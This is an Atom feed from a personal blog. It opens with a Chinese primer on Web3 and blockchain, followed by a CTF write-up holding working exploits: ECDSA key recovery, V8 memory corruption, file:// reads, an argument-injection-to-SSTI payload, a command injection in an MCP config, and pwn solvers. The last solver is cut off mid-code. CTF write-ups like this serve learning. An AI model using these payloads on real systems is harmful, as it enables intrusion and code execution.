<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="/rss/atom-styles.xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>xzhiyouu&#039;s Blog</title>
  <subtitle>xzhiyouu&#039;s personal blog, sharing insights and projects related to web development, programming, and technology.</subtitle>
  <link href="https://www.xzhiyouu.me/atom.xml" rel="self" type="application/atom+xml"/>
  <link href="https://www.xzhiyouu.me" rel="alternate" type="text/html"/>
  <updated>2026-07-23T16:12:23.122Z</updated>
  <language>en</language>
  <id>https://www.xzhiyouu.me</id>
  <author>
    <name>xzhiyouu</name>
    <uri>https://www.xzhiyouu.me</uri>
  </author>
  <generator uri="https://github.com/xzhiyouu62">Astro</generator>
  <rights>Copyright © 2026 xzhiyouu</rights>
  
  <entry>
    <title>What is Web3?</title>
    <link href="https://www.xzhiyouu.me/posts/區塊鏈基礎知識" rel="alternate" type="text/html"/>
    <id>https://www.xzhiyouu.me/posts/區塊鏈基礎知識</id>
    <updated>2026-07-24T00:00:00.000Z</updated>
    <published>2026-07-24T00:00:00.000Z</published>
    <author>
      <name>xzhiyouu62</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[<img src="https://www.xzhiyouu.me/_astro/cover.Cfu_hQ_i_50Ue2.webp" alt="What is Web3?" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h2>前言</h2>
<p>因為暑假實在是太無聊了，加上對 Web3 有些興趣，所以就利用時間來學習一下。<br />
很多內容都是參考<a href="https://ethereum.org/developers/docs/" rel="noopener noreferrer" target="_blank">以太坊官網</a>以及bilibili上的影片，有錯誤請見諒🙏</p>
<h2>什麼是 Web 3？</h2>
<p>先來說說什麼是 Web 1.0 和 Web 2.0吧，Web 1.0的特性是只能讀，意思就是只能上網讀資訊，像是平常瀏覽網頁這種就算，到了 Web 2.0 我們能夠讀也能夠寫，像是使用社群時，我們不僅可以看到朋友們的貼文，也能夠在貼文底下留言，除了讀，也可以寫資訊。那在 Web 3.0 的時代裡強調使用者可以直接控制自己的數位資產以及部分數位身分與資料，而不需要完全依賴中心化平台。</p>
<h2>什麼是區塊鏈？</h2>
<p>常常聽到區塊鏈與去中心化這個名詞綁在一起，那什麼是區塊鏈，去中心化又是什麼呢？
在傳統系統通常會由一個中央機構（例如銀行）負責管理所有資料，而區塊鏈則是將資料分散儲存在世界各地的節點中，區塊鏈會將帳本分散儲存在許多節點中，每個完整節點都保存一份完整的帳本。當有人發起一筆交易時，是由網路中的節點共同驗證，確認交易合法後才會寫入區塊，並永久保存。</p>
<h2>區塊鏈之三大核心</h2>
<ul>
<li>
<h4>去中心化</h4>
</li>
</ul>
<p>去中心化代表沒有任何一個單位擁有絕對控制權，也就是說交易不需要依賴單一中心化機構進行驗證，而是由整個區塊鏈網路共同驗證交易。</p>
<ul>
<li>
<h4>共識</h4>
</li>
</ul>
<p>因為沒有像傳統金融那樣有中央管理者，因此所有節點必須透過共識來決定哪些交易是真實且有效的，只有當大部分節點都同意後，交易才會被加入區塊鏈，那要怎麼決定主要會由工作量證明及權益證明，也就是 PoW (Proof of Work) 和 PoS (Proof of Stake) 來決定。</p>
<ul>
<li>
<h4>不可竄改</h4>
</li>
</ul>
<p>區塊鏈中的每個區塊都包含前一個區塊的 Hash，形成首尾相連的鏈狀結構。如果有人試圖修改已經寫入的資料，後續所有區塊的雜湊值都會改變，因此很容易被其他節點發現，使得資料難以被竄改。</p>
<h2>女巫攻擊（Sybil Attack）</h2>
<p>攻擊者通過創建多個虛假身分來操控和破壞網路系統，控制多數節點來影響共識過程或干擾網路正常運行，而區塊鏈會透過共識演算法提高攻擊成本，避免任何人可以輕易建立大量節點來控制網路。</p>
<h2>共識演算法</h2>
<h3>Proof of Work（PoW）</h3>
<p>中文叫工作量證明，節點需要消耗大量運算能力來解決數學難題，也就是俗稱的挖礦。第一個成功找到符合條件雜湊值的礦工，可以提出新的區塊，經其他節點驗證後獲得區塊獎勵與交易手續費，Bitcoin 採用 PoW，因此礦工會投入大量算力競爭記帳權，以獲得區塊獎勵及交易手續費。</p>
<h3>Proof of Stake（PoS）</h3>
<p>PoS 的出現主要是希望取代 PoW 來減少挖礦的大量運算，因為 PoW 比的是誰算力強，而在 PoS ，驗證者需要質押一定數量的加密貨幣作為權益，通常質押越多，被選中產生下一個區塊的機率越高。</p>
<h2>以太坊合併</h2>
<p>2022 年，以太坊完成合併，也就是說，PoS 正式取代 PoW，帶來的影響包括不再需要礦工挖礦及能源消耗降低許多等。<br />
詳細一點可以參考以太坊官網：<a href="https://ethereum.org/roadmap/merge/" rel="noopener noreferrer" target="_blank">https://ethereum.org/roadmap/merge/</a></p>
<h2>以太坊智能合約</h2>
<p>智能合約是一種自執行的合約，合同條款直接寫入代碼中，並在區塊鏈網路上運行。當預先設定的條件成立時，智能合約便會自動執行程式碼，無須第三方介入。</p>
<ul>
<li>
<h4>特色</h4>
</li>
</ul>
<ol>
<li>去中心化</li>
<li>數據透明</li>
<li>不可竄改</li>
<li>降低交易對手風險</li>
</ol>
<ul>
<li>
<h4>典型應用</h4>
</li>
</ul>
<ol>
<li>去中心化金融(DeFi)</li>
<li>非同質化通證(NFT)</li>
<li>去中心化自治組織(DAO)</li>
</ol>]]></content>
    <category term="web3" />
    <category term="blockchain" />
  </entry>
  <entry>
    <title>NHNC CTF 2026 writeup</title>
    <link href="https://www.xzhiyouu.me/posts/nhnc-ctf-2026-writeup" rel="alternate" type="text/html"/>
    <id>https://www.xzhiyouu.me/posts/nhnc-ctf-2026-writeup</id>
    <updated>2026-07-07T00:00:00.000Z</updated>
    <published>2026-07-07T00:00:00.000Z</published>
    <author>
      <name>xzhiyouu62</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[<img src="https://www.xzhiyouu.me/_astro/NHNC.B4-3Jwr6_2eVOmn.webp" alt="NHNC CTF 2026 writeup" style="width: 100%; height: auto; margin-bottom: 1em;" />
<p>跟新加入的臺灣學生戰隊 <code>RCEs</code> 第一次打比賽，拿了學生組第一。
<img src="https://hackmd.io/_uploads/BkF1UUqmMe.png" alt="image" />
<img src="https://hackmd.io/_uploads/HJMN88qQMl.png" alt="image" /></p>
<p>感謝各位大佬帶我飛🙏</p>
<h2>Talking to the Sun</h2>
<ul>
<li>Author: whale120</li>
</ul>
<p>使用者可以註冊、登入，然後產生一段 lyric line。伺服器會對 <code>{account, message}</code> 做 ECDSA 簽章，並把結果包成 token，目標是提交一個通過驗證、且 <code>account == whale@whale-tw.com</code> 的 token，驗證成功後 <code>/api/verify</code> 會回傳 flag。</p>
<p>Exploit:</p>
<ol>
<li>多個不同帳號共用同一個 stored account</li>
<li>ECDSA nonce 高 384 bits 相同</li>
<li>Hidden Number Problem</li>
<li>LLL 還原私鑰</li>
<li>偽造 admin token 拿 flag</li>
</ol>
<ul>
<li><code>solver.py</code></li>
</ul>
<pre><code>#!/usr/bin/env python3
import base64, hashlib, json, secrets, requests
from urllib.parse import urljoin
from ecdsa.curves import BRAINPOOLP512r1
from fpylll import IntegerMatrix, LLL

BASE = "change challenge url here"
SAMPLES = 6
B = 1 &lt;&lt; 128
ADMIN = "whale@whale-tw.com"
TARGET = "SinGen Said: At sunrise, when it answers over my signal, I sit by the sun."

def b64e(x): return base64.urlsafe_b64encode(x).rstrip(b"=").decode()
def b64d(x): return base64.urlsafe_b64decode(x + "=" * (-len(x) % 4))

def payload(a, m):
    return json.dumps({"account": a, "message": m}, ensure_ascii=False,
                      sort_keys=True, separators=(",", ":"))

def z(a, m):
    return int.from_bytes(hashlib.sha512(payload(a, m).encode()).digest(), "big")

def parse(t, size):
    _, p, sig = t.split(".")
    p, sig = json.loads(b64d(p)), b64d(sig)
    a, m = p["account"], p["message"]
    r = int.from_bytes(sig[:size], "big")
    s = int.from_bytes(sig[size:], "big")
    return a, m, r, s, z(a, m)

def fake_mail(i):
    return "a@b." + "\u0130" * 32766 + f"x{i}{secrets.token_hex(8)}.com"

def mat(rows):
    M = IntegerMatrix(len(rows), len(rows[0]))
    for i in range(len(rows)):
        for j in range(len(rows[0])):
            M[i, j] = int(rows[i][j])
    return M

def center(x, n):
    x %= n
    return x - n if x &gt; n // 2 else x

def collect():
    base = BASE.rstrip("/") + "/"
    info = requests.get(urljoin(base, "/api/info")).json()
    n, size = int(info["order"]), int(info["order_bytes"])
    sigs = []

    for i in range(SAMPLES):
        s = requests.Session()
        mail = fake_mail(i)
        pw = "A" * 16

        s.post(urljoin(base, "/register"), data={"email": mail, "password": pw})
        s.post(urljoin(base, "/login"), data={"email": mail, "password": pw})

        opt = {
            "time": i % 50,
            "motion": (i * 7 + 1) % 50,
            "place": (i * 11 + 2) % 50,
            "seat": (i * 13 + 3) % 50,
        }

        token = s.post(urljoin(base, "/api/generate"), json=opt).json()["token"]
        sigs.append(parse(token, size))

    return base, info, n, size, sigs

def recover(n, sigs):
    r0, s0, h0 = sigs[0][2], sigs[0][3], sigs[0][4]
    inv = pow(s0, -1, n)
    a0, c0 = r0 * inv % n, h0 * inv % n

    A, C = [], []
    for _, _, r, s, h in sigs[1:]:
        inv = pow(s, -1, n)
        A.append((r * inv - a0) % n)
        C.append((h * inv - c0) % n)

    for m in range(2, min(len(A), 8) + 1):
        rows = []
        for i in range(m):
            row = [0] * (m + 1)
            row[i] = n * n
            rows.append(row)

        rows.append([x * n for x in A[:m]] + [B])
        target = [-x * n for x in C[:m]] + [0]
        weight = B * n

        L = mat([r + [0] for r in rows] + [target + [weight]])
        LLL.reduction(L)

        for i in range(L.nrows):
            row = [int(L[i, j]) for j in range(L.ncols)]
            if abs(row[-1]) != weight:
                continue

            row = [(1 if row[-1] &gt; 0 else -1) * x for x in row[:-1]]

            for a, c, v in zip(A[:m], C[:m], row[:m]):
                if v % n:
                    continue

                for e in (v // n, -v // n):
                    d = (e - c) * pow(a, -1, n) % n
                    if all(abs(center(a * d + c, n)) &lt; B for a, c in zip(A, C)):
                        return d

def sign(a, m, d, n, size):
    G = BRAINPOOLP512r1.generator
    h = z(a, m)

    while True:
        k = secrets.randbelow(n - 1) + 1
        r = (k * G).x() % n
        s = pow(k, -1, n) * (h + r * d) % n
        if r and s:
            sig = r.to_bytes(size, "big") + s.to_bytes(size, "big")
            return "singen." + b64e(payload(a, m).encode()) + "." + b64e(sig)

base, info, n, size, sigs = collect()
d = recover(n, sigs)
admin = info.get("admin_account", ADMIN)
target = info.get("target", TARGET)
token = sign(admin, target, d, n, size)
print(requests.post(urljoin(base, "/api/verify"), json={"token": token}).text)
</code></pre>
<hr />
<h2>Web3JS</h2>
<ul>
<li>Author: whale120</li>
</ul>
<p>題目提供一個被修改過的 <code>d8</code>，裡面多了一個 <code>evm()</code> API。使用者送 base64 encoded JavaScript 給服務端執行。目標是利用自訂 EVM binding 的漏洞，在 V8 裡拿到 arbitrary read/write，最後呼叫 hidden <code>v8::Shell::System</code>執行 <code>/readflag</code> 拿 flag。</p>
<p>Exploit:</p>
<ol>
<li><code>vm.push(obj)</code> 會把 JS object 的 raw tagged pointer 放進 EVM stack</li>
<li><code>vm.stack()</code> 可以把這個值讀出來，形成 <code>addrof</code></li>
<li><code>vm.get(idx)</code> 沒有檢查 stack 下界，<code>vm.get(0)</code> 可以讀到 <code>stack[-1]</code></li>
<li>用 <code>MSTORE8</code> 在 EVM memory 裡偽造 stack slot，讓 <code>vm.get(0)</code> 回傳任意 tagged pointer，形成 fakeobj</li>
<li>偽造 <code>PACKED_DOUBLE JSArray</code>，得到 heap arbitrary read/write</li>
<li>找到 <code>d8.file.exists</code> 的 <code>FunctionTemplateInfo.callback</code></li>
<li>把 callback 從 <code>v8::Shell::FileExists</code> 改成 <code>v8::Shell::System</code></li>
<li>呼叫 <code>d8.file.exists('/readflag')</code>，實際會變成 <code>system('/readflag')</code></li>
</ol>
<ul>
<li><code>exploit.js</code></li>
</ul>
<pre><code>const convBuf = new ArrayBuffer(8);
const f64 = new Float64Array(convBuf);
const u64 = new BigUint64Array(convBuf);

function ftoi(x) {
  f64[0] = x;
  return u64[0];
}

function itof(x) {
  u64[0] = x;
  return f64[0];
}

function addrof(obj) {
  const vm = evm('00');
  vm.push(obj);
  return BigInt(vm.stack(1)[0]);
}

function writeByte(vm, off, val) {
  vm.push(val &amp; 0xff);
  vm.push(off);
  vm.step();
}

function fakeobj(addr) {
  const vm = evm('53'.repeat(16));
  const fakeSlotOff = 0xffd8;

  for (let i = 0; i &lt; 8; i++) {
    writeByte(vm, fakeSlotOff + i, i === 0 ? 1 : 0);
  }

  for (let i = 0; i &lt; 8; i++) {
    writeByte(vm, fakeSlotOff + 8 + i, Number((addr &gt;&gt; BigInt(8 * i)) &amp; 0xffn));
  }

  return vm.get(0);
}

const container = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8];

const containerAddr = addrof(container);
const elementsAddr = containerAddr - 0x48n;
const fakeArrayAddr = elementsAddr + 0x8n;

const PACKED_DOUBLE_ARRAY_MAP = 0x0100d30dn;
const EMPTY_FIXED_ARRAY = 0x000007e5n;

container[0] = itof((EMPTY_FIXED_ARRAY &lt;&lt; 32n) | PACKED_DOUBLE_ARRAY_MAP);
container[1] = itof((0x100n &lt;&lt; 32n) | (elementsAddr &amp; 0xffffffffn));

const fakeArray = fakeobj(fakeArrayAddr);

function setFakeElements(addr) {
  container[1] = itof((0x100n &lt;&lt; 32n) | ((addr - 8n + 1n) &amp; 0xffffffffn));
}

function aar64(addr) {
  setFakeElements(addr);
  return ftoi(fakeArray[0]);
}

function aaw64(addr, val) {
  setFakeElements(addr);
  fakeArray[0] = itof(val);
}

function fullPtr(compressed) {
  return (containerAddr &amp; 0xffffffff00000000n) | compressed;
}

const target = d8.file.exists;
const targetAddr = addrof(target);

const sfi = fullPtr(aar64(targetAddr - 1n + 16n) &amp; 0xffffffffn);
const functionTemplateInfo = fullPtr(aar64(sfi - 1n + 8n) &amp; 0xffffffffn);

const callbackField = functionTemplateInfo - 1n + 60n;
const fileExistsCallback = aar64(callbackField);

const shellSystem = fileExistsCallback - 0x1a80n;

aaw64(callbackField, shellSystem);

print(d8.file.exists('/readflag'));
</code></pre>
<hr />
<h2>#include</h2>
<ul>
<li>Author: solarfish</li>
</ul>
<p>打開前端可以看到它會檢查 URL：</p>
<pre><code>if (!/^https?:\/\//i.test(url)) {
  result.textContent = 'URL must start with http:// or https://';
  return;
}
</code></pre>
<p>看起來只能丟 <code>http://</code> 或 <code>https://</code>，但這只是前端檢查，所以其實直接打 <code>/convert</code> 就可以繞過。</p>
<p>不過這題有 reCAPTCHA，所以我最後是直接在瀏覽器解完 captcha 後，開 Console 送 <code>file://</code>。</p>
<pre><code>async function leak(url, name = 'out.pdf') {
  const token = grecaptcha.getResponse();

  const body = new URLSearchParams();
  body.set('url', url);
  body.set('g-recaptcha-response', token);

  const r = await fetch('/convert', {
    method: 'POST',
    body
  });

  if (!r.ok) {
    console.log(await r.text());
    grecaptcha.reset();
    return;
  }

  const blob = await r.blob();
  const blobUrl = URL.createObjectURL(blob);
  const a = document.createElement('a');
  a.href = blobUrl;
  a.download = name;
  a.click();
  URL.revokeObjectURL(blobUrl);

  grecaptcha.reset();
}
</code></pre>
<p>然後直接讀 source：</p>
<pre><code>leak('file:///proc/self/cwd/server.js', 'server.pdf');
</code></pre>
<p>下載 PDF 後就可以看到後端 source</p>
<p>重點在這段：</p>
<pre><code>async function points_to_local_directory(input) {
  let url;
  try {
    url = new URL(input);
  } catch {
    return false;
  }

  if (url.protocol !== 'file:') {
    return false;
  }

  try {
    return (await fs.stat(file_url_to_path(url))).isDirectory();
  } catch {
    return false;
  }
}
</code></pre>
<p>它只有擋 <code>file://</code> 指到資料夾的情況。</p>
<p>所以像這個會被擋：</p>
<pre><code>file:///proc/self/cwd/
</code></pre>
<p>但這種讀檔案的就不會：</p>
<pre><code>file:///proc/self/cwd/server.js
</code></pre>
<p>因此可以直接把 <code>server.js</code> 抓下來轉成 PDF 然後就可以看到 flag了</p>
<hr />
<h2>Farewell, #include</h2>
<ul>
<li>Author: solarfish</li>
</ul>
<p>題目 hint 有說可以用上一題的方法先拿資訊，所以一開始一樣先用 <code>file://</code> 讀 source。</p>
<p>這次沒有 captcha，可以直接打 <code>/convert</code>：</p>
<pre><code>BASE='challenge url here'

curl -s -X POST "$BASE/convert" \
  --data-urlencode 'url=file:///proc/self/cwd/server.js' \
  -o server.pdf
</code></pre>
<p>然後再讀 <code>package.json</code>：</p>
<pre><code>curl -s -X POST "$BASE/convert" \
  --data-urlencode 'url=file:///proc/self/cwd/package.json' \
  -o package.pdf
</code></pre>
<p>可以看到這題多了 <code>mdpdf</code>，而且 <code>server.js</code> 也多了幾種 converter：</p>
<pre><code>if (converter === 'standard-pdf') {
  result = await run_html_pdf_node(urls);
} else if (converter === 'lite-pdf') {
  result = await run_percollate(urls);
} else if (converter === 'markdown-pdf') {
  result = await run_md_pdf(urls);
}
</code></pre>
<p>看 <code>run_percollate</code>：</p>
<pre><code>function run_percollate(user_input) {
  return new Promise(resolve =&gt; {
    const job = create_job('lite-pdf');
    const urls = getallurl(user_input);

    const args = [
      'pdf',
      '--no-sandbox',
      '--output',
      path.resolve(job.output_path),
      ...urls
    ];

    const child = spawn(process.execPath, [percollate_cli, ...args], {
      cwd: work_dir,
      stdio: ['ignore', 'ignore', 'ignore'],
      env: {
        ...process.env,
        PUPPETEER_EXECUTABLE_PATH:
          process.env.PUPPETEER_EXECUTABLE_PATH ||
          '/usr/bin/chromium'
      }
    });
  });
}
</code></pre>
<p>這邊把使用者輸入直接接到 percollate 的 argv 後面。</p>
<p>而 <code>getallurl</code> 只是用空白切開：</p>
<pre><code>function getallurl(input) {
  return String(input || '')
    .trim()
    .split(/\s+/)
    .filter(Boolean);
}
</code></pre>
<p>我可以把 URL 寫成：</p>
<pre><code>--title=ARG_INJECTION_TEST
https://example.com
</code></pre>
<p>測試：</p>
<pre><code>cat &gt; payload.txt &lt;&lt;'EOF'
--title=ARG_INJECTION_TEST
https://example.com
EOF

curl -s -X POST "$BASE/convert" \
  --data-urlencode 'converter=lite-pdf' \
  --data-urlencode url@payload.txt \
  -o argtest.pdf
</code></pre>
<p>載下來後發現
<img src="https://hackmd.io/_uploads/r1oxqr97Gg.png" alt="image" /></p>
<p>代表 <code>--title</code> 被 percollate 當成 option 吃進去了。</p>
<p>接著去 leak percollate 的 source：</p>
<pre><code>curl -s -X POST "$BASE/convert" \
  --data-urlencode 'converter=standard-pdf' \
  --data-urlencode 'url=file:///app/lib/percollate/src/cli-opts.js' \
  -o cli-opts.pdf
</code></pre>
<p>可以看到 <code>--template</code>、<code>--title</code> 都是合法 option：</p>
<pre><code>let opts_with_optarg = new Set([
  'output',
  'template',
  'style',
  'css',
  'url',
  'wait',
  'title',
  'author',
  'browser',
  'toc-level',
]);
</code></pre>
<p>再看 <code>/app/lib/percollate/index.js</code>：</p>
<pre><code>curl -s -X POST "$BASE/convert" \
  --data-urlencode 'converter=standard-pdf' \
  --data-urlencode 'url=file:///app/lib/percollate/index.js' \
  -o percollate-index.pdf
</code></pre>
<p>裡面會讀 template，然後丟給 Nunjucks render：</p>
<pre><code>const html = nunjucks.renderString(
  await readFile(options.template || DEFAULT_TEMPLATE, 'utf8'),
  {
    filetype: 'pdf',
    title,
    author,
    date: new Date(),
    items,
    style,
    options: {
      use_toc,
      use_cover:
        options.cover ||
        (options.cover !== false &amp;&amp;
          (options.title || items.length &gt; 1))
    }
  }
);
</code></pre>
<p>所以只要能控制 <code>--template</code>，就可以控制 Nunjucks template。</p>
<p>問題是 <code>--template</code> 要本機 path，不是 HTTP URL。</p>
<p>這邊可以用一個 Linux trick：</p>
<pre><code>/proc/self/cmdline
</code></pre>
<p>這個檔案會包含目前 process 的 argv。</p>
<p>而我們剛好可以控制 argv，所以可以讓 percollate 讀自己的 argv，並且把它當成 Nunjucks template render。</p>
<p>測 SSTI：</p>
<pre><code>cat &gt; payload.txt &lt;&lt;'EOF'
--template=/proc/self/cmdline
--title={{range.constructor("return(7*7)")()}}
https://example.com
EOF

curl -s -X POST "$BASE/convert" \
  --data-urlencode 'converter=lite-pdf' \
  --data-urlencode url@payload.txt \
  -o ssti-test.pdf
</code></pre>
<p>輸出裡可以看到：
<img src="https://hackmd.io/_uploads/H1srcB9mMg.png" alt="image" /></p>
<p>執行 <code>/readflag</code>，它會回：
<img src="https://hackmd.io/_uploads/ryY_qS97zg.png" alt="image" /></p>
<p><code>Usage: /readflag give me the flag</code></p>
<p>所以要執行的是 <code>/readflag give me the flag</code></p>
<p>但是 payload 不能有空白，因為 server 會先 <code>.split(/\s+/)</code>。</p>
<p>所以不能直接：</p>
<pre><code>execSync('/readflag give me the flag')
</code></pre>
<p>改用 Node.js 的 <code>spawn_sync</code>，用 argv array 傳參數：</p>
<pre><code>args:['/readflag','give','me','the','flag']
</code></pre>
<p>最後 payload：</p>
<pre><code>cat &gt; payload.txt &lt;&lt;'EOF'
--template=/proc/self/cmdline
--title={{range.constructor("r=process.binding('spawn_sync').spawn({file:'/readflag',args:['/readflag','give','me','the','flag'],cwd:'/tmp',envPairs:Object.entries(process.env).map(e=&gt;e[0]+'='+e[1]),stdio:[{type:'pipe',readable:true,writable:false},{type:'pipe',readable:false,writable:true},{type:'pipe',readable:false,writable:true}]});return(r.output[1].toString()+r.output[2].toString())")()}}
https://example.com
EOF

curl -s -X POST "$BASE/convert" \
  --data-urlencode 'converter=lite-pdf' \
  --data-urlencode url@payload.txt \
  -o flag.pdf
</code></pre>
<p>就可以看到 flag：
<img src="https://hackmd.io/_uploads/r1825Bqmfg.png" alt="image" /></p>
<hr />
<h2>Camel rider</h2>
<ul>
<li>Author: Frank</li>
</ul>
<p>這題是一個黑箱 Perl Jail</p>
<p>Exploit:</p>
<ol>
<li><code>open</code>、<code>readline</code>、<code>require</code>、<code>eval</code>、<code>system/qx</code> 等危險關鍵字被 blacklist</li>
<li><code>flag.txt</code> 本身沒有被擋</li>
<li><code>ARGV</code> 也沒有被擋</li>
<li>Perl 的 <code>&lt;ARGV&gt;</code> 可以讀取 <code>@ARGV</code> 裡指定的檔案</li>
<li>用具名 diamond operator <code>&lt;ARGV&gt;</code> 避開被擋的 <code>&lt;&gt;</code></li>
</ol>
<p>最後 payload：</p>
<pre><code>@ARGV=q(flag.txt);print&lt;ARGV&gt;
</code></pre>
<hr />
<h2>travel again</h2>
<ul>
<li>Author: yochan06</li>
</ul>
<p>通靈出應該在北海道，經過Google後發現這兩尊跟圖片上的幾乎一樣<a href="https://www.town.shikaoi.lg.jp/kurashi/kyoiku_bunka/history/shiseki_guide/n127/" rel="noopener noreferrer" target="_blank">https://www.town.shikaoi.lg.jp/kurashi/kyoiku_bunka/history/shiseki_guide/n127/</a></p>
<p>Flag: <code>NHNC{43.1849,143.0325}</code></p>
<hr />
<h2>Homework</h2>
<ul>
<li>Author: ConsoleBreak</li>
</ul>
<p>這題表面上是一個 matrix calculator，使用者可以輸入 <code>X</code>、<code>Y</code> 兩個矩陣和 operation。實際上程式有一個隱藏 operation <code>blend &lt;shift&gt;</code>，可以透過 <code>shift</code> 對 heap 上的 <code>Real</code> array 做越界存取。題目 debug 資訊會提示 <code>Y[0][0]</code> 到內部矩陣 <code>A[0][1]</code> 的距離剛好是 3 個 <code>Real</code>，所以用 <code>blend 3</code> 可以控制 <code>A[0][1]</code>。通過檢查後，程式會 leak <code>n</code>、<code>a_plus_d</code>、<code>bc</code>、<code>C</code>，再要求輸入隨機字串 <code>T</code>，最後用矩陣關係把 <code>T</code> 反推回來即可拿 flag。</p>
<p>Exploit:</p>
<ol>
<li>設定 <code>X</code>、<code>Y</code> 都是 <code>1x1</code> matrix</li>
<li>使用隱藏 operation <code>blend 3</code></li>
<li>因為 <code>Y[0][0] + 3 * sizeof(Real) == A[0][1]</code>，所以可以覆寫 <code>A[0][1]</code></li>
<li>令 <code>X = 0</code>、<code>Y = 1e80</code>，讓 <code>A[0][1] = 1e80</code></li>
<li>程式會 leak <code>n</code>、<code>a_plus_d</code>、<code>bc</code>、<code>C</code></li>
<li>已知 <code>b = 1e80</code>，所以可以算出 <code>c = bc / b</code></li>
<li>建立 companion matrix <code>[[0, b], [c, a_plus_d]] ** n</code></li>
<li>對每個 <code>C[i]</code> 反推第一個座標，也就是 <code>ord(T[i])</code></li>
<li>組回 <code>T</code> 後送回程式取得 flag</li>
</ol>
<ul>
<li><code>solver.py</code></li>
</ul>
<pre><code>#!/usr/bin/env python3
from pwn import *
from decimal import *
import re, sys

context.log_level = "error"
getcontext().prec = 650
getcontext().Emax = 999999999
getcontext().Emin = -999999999

E = 80
B = Decimal(10) ** E

io = remote(sys.argv[1], int(sys.argv[2])) if len(sys.argv) == 3 else process(sys.argv[1])

io.send(
    b"1 1\n1 1\n0\n" +
    (b"1" + b"0" * E) + b"\n"
    b"blend 3\n"
)

s = io.recvuntil(b"T:").decode(errors="ignore")

n = int(re.search(r"n = (\d+)", s).group(1))
tr = Decimal(re.search(r"a_plus_d = ([^\n]+)", s).group(1))
bc = Decimal(re.search(r"bc = ([^\n]+)", s).group(1))
nums = [Decimal(x) for x in re.findall(r"[-+]?\d+(?:\.\d+)?e[+-]?\d+", s.split("C = ", 1)[1])]

def mul(a, b):
    return [
        [a[0][0]*b[0][0]+a[0][1]*b[1][0], a[0][0]*b[0][1]+a[0][1]*b[1][1]],
        [a[1][0]*b[0][0]+a[1][1]*b[1][0], a[1][0]*b[0][1]+a[1][1]*b[1][1]],
    ]

m = [[Decimal(0), B], [bc / B, tr]]
r = [[Decimal(1), Decimal(0)], [Decimal(0), Decimal(1)]]

while n:
    if n &amp; 1:
        r = mul(r, m)
    m = mul(m, m)
    n &gt;&gt;= 1

det = (-bc) ** int(re.search(r"n = (\d+)", s).group(1))
T = ""

for x, y in zip(nums[::2], nums[1::2]):
    v = (r[1][1] * x - r[0][1] * y) / det
    T += chr(int(v.to_integral_value(rounding=ROUND_HALF_EVEN)))

io.sendline(T.encode())
print(io.recvall(timeout=2).decode(errors="ignore"), end="")
</code></pre>
<hr />
<h2>Tea-agent</h2>
<ul>
<li>Author: LemonTea</li>
</ul>
<p>題目讓使用者上傳 MCP config，agent 會檢查 <code>command</code> 必須是 <code>/app/mcp_memory</code>，但啟動 server 時把 <code>args</code> 直接接進 shell command，沒有正確 quote，導致可以在參數裡插入 <code>;</code> 做 command injection。因為 <code>cat /flag</code> 被擋，所以改用 <code>dd&lt;/flag</code> 讀出 flag。</p>
<p>Exploit:</p>
<ol>
<li><code>command</code> 保持 <code>/app/mcp_memory</code> 通過 allowlist</li>
<li>在 <code>--profile</code> 參數插入 <code>;dd&lt;/flag;#</code></li>
<li>shell 實際執行 <code>/app/mcp_memory --profile=guest;dd&lt;/flag;# ...</code></li>
<li><code>dd</code> 讀取 <code>/flag</code> 並輸出到 MCP stdout</li>
</ol>
<ul>
<li><code>payload.json</code></li>
</ul>
<pre><code>{
  "mcpServers": {
    "x": {
      "command": "/app/mcp_memory",
      "args": [
        "--profile=guest;dd&lt;/flag;#",
        "--topic=general"
      ]
    }
  }
}
</code></pre>
<h2>I Love Proxy</h2>
<ul>
<li>Author: LemonTea</li>
</ul>
<p>題目有一個對外的 <code>edge-httpd</code> proxy，內部還有一個只 expose 在 docker network 的 <code>courier:7000</code>。<code>edge-httpd</code> 的 UDP control plane 可以註冊 proxy route，但 activation 的 <code>global key</code> 是由攻擊者給的 seed 算出來的，沒有真正認證，所以可以註冊 <code>/H -&gt; courier:7000</code>。接著利用 <code>courier.cgi</code> 的 hidden route hash、header hash padding、長 Host 檢查與偽造 body command object，最後觸發 <code>run_filter("cat /flag.txt")</code> 拿 flag。</p>
<p>Exploit:</p>
<ol>
<li>逆 <code>edge-httpd</code> 發現 UDP control plane 可以新增 route</li>
<li>送 activation packet，自己算出 <code>global key</code></li>
<li>送 route registration packet，註冊 <code>/H -&gt; courier:7000</code></li>
<li>逆 <code>courier.cgi</code> 找到 hidden route：<code>suffix_hash_is(PATH_INFO, 10, 0x26045b27)</code></li>
<li>使用同時滿足 suffix hash / full path hash 的 path：<code>/H=\xc8\x01\x01\xc8/1kVa/6.9R</code></li>
<li>用 <code>X-Pad</code> 讓 raw header 的 FNV hash 變成指定 <code>tag</code></li>
<li>用超長 <code>Host</code> header 通過 host/body chain check</li>
<li>在 512-byte body 裡偽造 courier 的 command object</li>
<li>command 設成 <code>cat /flag.txt</code>，callback 指到 <code>run_filter</code></li>
</ol>
<ul>
<li><code>solver.py</code></li>
</ul>
<pre><code>#!/usr/bin/env python3
import re, socket, struct, sys, time
from urllib.parse import urlparse

M32 = 0xffffffff
M64 = 0xffffffffffffffff

def rol32(x,r): return ((x&lt;&lt;r)|(x&gt;&gt;(32-r))) &amp; M32
def ror32(x,r): return ((x&gt;&gt;r)|(x&lt;&lt;(32-r))) &amp; M32
def rol64(x,r):
    x &amp;= M64; r &amp;= 63
    return ((x&lt;&lt;r)|(x&gt;&gt;(64-r))) &amp; M64
def ror64(x,r):
    x &amp;= M64; r &amp;= 63
    return ((x&gt;&gt;r)|(x&lt;&lt;(64-r))) &amp; M64

def mix64(x):
    x &amp;= M64
    x = ((x ^ (x &gt;&gt; 30)) * 0xbf58476d1ce4e5b9) &amp; M64
    x = ((x ^ (x &gt;&gt; 27)) * 0x94d049bb133111eb) &amp; M64
    return (x ^ (x &gt;&gt; 31)) &amp; M64

def fnv(d, h=0x811c9dc5):
    for c in d:
        h = ((h ^ c) * 0x1000193) &amp; M32
    return h

def csum(d, seed):
    r11 = (seed &amp; 0xff) ^ len(d) ^ 0x9e3779b9
    edi = seed &amp; M32
    r10 = seed &amp; 0xff
    for i,b in enumerate(d):
        x = (b + (edi &amp; 0xff)) &amp; M32
        m = (i ^ r10) &amp; 3
